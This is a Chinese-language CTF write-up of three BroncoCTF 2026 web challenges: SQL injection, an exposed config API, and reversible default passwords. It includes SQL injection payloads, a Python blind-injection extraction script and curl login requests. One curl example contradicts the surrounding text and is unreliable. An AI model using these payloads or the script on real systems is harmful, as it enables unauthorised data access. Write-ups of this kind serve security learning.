mool-djaj/BroncoCTF-2026-Web-Challenges-Writeup

GitHub: mool-djaj/BroncoCTF-2026-Web-Challenges-Writeup

该项目是 BroncoCTF 2026 中三道 Web 安全挑战赛的详细题解,涵盖 SQL 注入、信息泄露及弱认证漏洞的实战利用过程。

Stars: 0 | Forks: 0

[message.txt](https://github.com/user-attachments/files/29968900/message.txt)# BroncoCTF 2026 Web 挑战赛题解 本篇题解涵盖了 BroncoCTF 的三道 Web 挑战,每道题难度均为 10 分。这些解决方案展示了常见的 Web 漏洞:**SQL injection**、**暴露的 API endpoint** 以及 **信息泄露**。 ## 挑战 1:Forbidden Archives **类别:** Web – SQL Injection **Flag:** (通过注入获取) – *替换为你实际的 flag* ### 信息收集 该挑战提供了一个搜索框,用于查询图书数据库。正常的搜索会返回公开的书籍;搜索被禁的书籍则没有任何结果。 image (12) 测试常见的 SQL injection payload 显示,该应用程序存在 **Boolean‑based blind SQL injection** 漏洞。输入 `' OR '1'='1` 会产生语法错误,但 `') OR 1=1 --` 却成功生效。 image ### 寻找突破点 突破点 `')` 闭合了字符串和括号,允许我们注入自己的条件。 ``` ') AND 1=1 -- ``` 这返回了一本书,确认我们可以控制查询。 ### 确认秘密数据行 我们注入了 `') AND EXISTS(SELECT 1 FROM books WHERE is_secret=1)--` 并收到了书籍结果。这证实了: - 该表名为 `books`。 - 有一个 `is_secret` 列用于标记被禁的书籍。 ### 绕过过滤 由于我们可以控制 `WHERE` 子句,获取 flag 最简单的方法是强制查询直接返回该秘密数据行: ``` ') AND is_secret = 1 LIMIT 1 -- ``` **URL Encoded 格式:** ``` https://broncoctf-forbidden-archives.chals.io/?search=') AND is_secret = 1 LIMIT 1 -- ``` 这使得应用程序显示了包含 flag 的秘密书籍的详细信息。 image ### 备选方案 – 盲注提取(为了完整性) 如果直接显示不起作用,我们可以逐字符提取 flag: ``` ') AND (SELECT SUBSTR(title, 1, 1) FROM books WHERE is_secret=1 LIMIT 1) = 'b' -- ``` 在找到更简单的方法之前,我们使用了这种方法发现了书名 `All_of_the_World_s_Knowledge`。 ## 使用的脚本 (Forbidden Archives) ``` import requests import string import time url = "https://broncoctf-forbidden-archives.chals.io/" FAILURE = "No public scrolls bear that name" COLUMN = "title" # 字符集 (添加任何缺失的符号(如果需要)) charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-!@#$%^&*()+=?/" # ---------- 从位置 11 恢复 ---------- START_POS = 11 flag = "All_of_the" # already known print(f"[+] Resuming from position {START_POS} with current flag: {flag}") for pos in range(START_POS, 101): # max 100 chars found = False for ch in charset: payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) = '{ch}' --" # Retry up to 3 times on connection errors for attempt in range(3): try: response = requests.get(url, params={"search": payload}, timeout=5) break except (requests.ConnectionError, requests.Timeout): print(f"[!] Network error, retrying in 1s (attempt {attempt+1})...") time.sleep(1) else: print("[!] Max retries reached, skipping this character.") continue if FAILURE not in response.text: flag += ch print(f"[+] Pos {pos}: '{ch}' → {flag}") found = True break if not found: # Try LIKE as fallback (case-insensitive) for ch in charset: payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) LIKE '{ch}' --" for attempt in range(3): try: response = requests.get(url, params={"search": payload}, timeout=5) break except (requests.ConnectionError, requests.Timeout): time.sleep(1) else: continue if FAILURE not in response.text: flag += ch print(f"[+] Pos {pos}: '{ch}' (via LIKE) → {flag}") found = True break if not found: # Check for closing brace '}' (common in CTF flags) payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) = '}}' --" try: response = requests.get(url, params={"search": payload}, timeout=5) except: print("[!] Network error on final check, skipping.") continue if FAILURE not in response.text: flag += "}" print(f"\n🎉 COMPLETE FLAG: {flag}") break else: print(f"[!] No character found at position {pos}. Flag likely ends at {pos-1}.") print(f"🎉 FINAL FLAG: {flag}") break # Small delay to avoid rate‑limiting time.sleep(0.2) ``` ### Flag ``` bronco{...} ``` bronco{y0u_d3f3@t3d_th3_h1gh_c0unc1l} ## 挑战 2:Super Secure Server **类别:** Web – 信息泄露 **Flag:** `bronco{d0nt_3xp0se_p@ssw0rd5!}` ### 信息收集 登录页面是一个简单的 HTML 表单,它使用 JSON 凭证向 `/login` 发送 POST 请求。 image (7) 查看页面源代码或使用浏览器的 Network 标签页,我们发现了一个向 `/api/config` 发送的请求,该请求返回了凭证。 image (8) ### 漏洞利用 直接访问 `/api/config` 返回了一个 JSON 对象: ``` { "username": "SuperSecretUser", "password": "rji32orj932r3209r233sqmet4v2cxbns8" } ``` image (9) 然后我们使用这些凭证进行了登录。 ### 登录请求 ``` curl -X POST https://broncoctf-super-secure-server.chals.io/login \ -H "Content-Type: application/json" \ -d '{"authenticated": true}' ``` 服务器重定向到 `/home`,并在那里显示了 flag。 image (10) ### Flag ``` bronco{d0nt_3xp0se_p@ssw0rd5!} ``` ## 挑战 3:Lovely Login **类别:** Web – 信息泄露与弱认证 **Flag:** `bronco(R3v3rs1ng_1s_53cure)` ### 信息收集 登录页面是一个简单的表单,将 JSON 数据发送到 `/login`。 image (4) #### 步骤 1:检查 `robots.txt` 访问 `/robots.txt` 显示: ``` User-agent: * Disallow: /security # amVmZixzYXJhaCx hZG1pbixndWVzdA== ``` image (3) `Disallow` 提示指向了一个有趣的路径,并且该 Base64 字符串解码为: ``` jeff,sarah, admin,guest ``` image (2) 这给了我们一个有效用户名列表:`jeff`、`sarah`、`admin`、`guest`。 #### 步骤 2:访问 `/security` 该页面包含: image (1) 这明确告诉了我们密码是如何生成的 —— **用户名的反转**。 ### 漏洞利用 通过反转每个用户名来生成密码: | 用户名 | 密码 (反转) | |----------|----------------------| | admin | nimda | | jeff | ffej | | sarah | haras | | guest | tseug | 使用 `admin` / `nimda` 成功登录。 ### 登录请求 ``` curl -X POST https://broncoctf-lovely-login.chals.io/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"nimda"}' ``` 服务器返回了一条带有 flag 的欢迎信息。 ![image](https://raw.githubusercontent.com/mool-djaj/BroncoCTF-2026-Web-Challenges-Writeup/main/image.webp) ### Flag ``` bronco(R3v3rs1ng_1s_53cure) ``` ## 使用的工具 - **Browser Developer Tools** – Network 标签页、Inspector - **cURL** – 用于发送自定义请求 - **Base64 解码器** – 用于解码 `robots.txt` 中的字符串 - **Python**(可选) – 用于自动化 blind SQL 提取 ## 经验教训 - **切勿在生产环境中暴露内部 endpoint**,例如 `/api/config` 或 `/security`。 - **Base64 不是加密** – 它很容易被逆向。 - 一旦了解了查询结构,**SQL injection** 通常可以通过简单的 payload 绕过。 - `robots.txt` 和隐藏页面中的**信息泄露**对攻击者来说可能是宝库。 *Happy Hacking!*
标签:CISA项目, Web安全, Writeup, 蓝队分析, 逆向工具